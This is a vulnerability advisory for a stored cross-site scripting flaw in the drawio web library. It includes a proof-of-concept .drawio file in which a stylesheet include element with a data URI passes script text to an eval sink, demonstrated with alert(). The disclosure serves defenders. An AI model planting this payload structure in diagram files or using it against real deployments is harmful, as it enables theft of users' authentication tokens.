Description

Diagram files can contain stylesheets which basically consist of key value pairs that influence the appearance of digram elements. When adding a stylesheet (mxStylesheet element) it is possible to execute JavaScript code when used in combination with the internal include element. Usually this would not be possible, because text content in stylesheets or its child elements would lead to an error when they are decoded in the application.

By using the include element and a data URI, this limitation can be bypassed. Adding a two element structure of nested add elements with the payload as the text content of the inner element allows executing any JavaScript code. The text content of the inner element is passed to an eval sink, which is enabled for mxStylesheet elements.

Proof of Concept

Save the following structure as .drawio file and open it in the web app:

<mxfile>
  <diagram id="aJXvI5cXjnzRwY48kwuR" name="Page-1">
    <mxGraphModel dx="719" dy="712" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="291" pageHeight="413" math="0" shadow="0">
      <mxStylesheet><include name="data:,&lt;mxStylesheet>&lt;add as=&quot;test&quot; value=&quot;y&quot;>&lt;add as=&quot;x&quot; value=&quot;x&quot;>alert()&lt;/add>&lt;/add>&lt;/mxStylesheet>" /></mxStylesheet>
      <root>
        <mxCell id="0" />
        <mxCell id="1" parent="0" />
      </root>
    </mxGraphModel>
  </diagram>
</mxfile>

The JavaScript alert function will be executed.

Note: The desktop application is not affected. The deployment on app.diagrams.net is also not affected because it uses a custom CSP.

Impact

Stored XSS via diagram files which allows stealing of user secrets like authentication tokens. Further malicious actions might be possible depending on the context where the drawio library is used.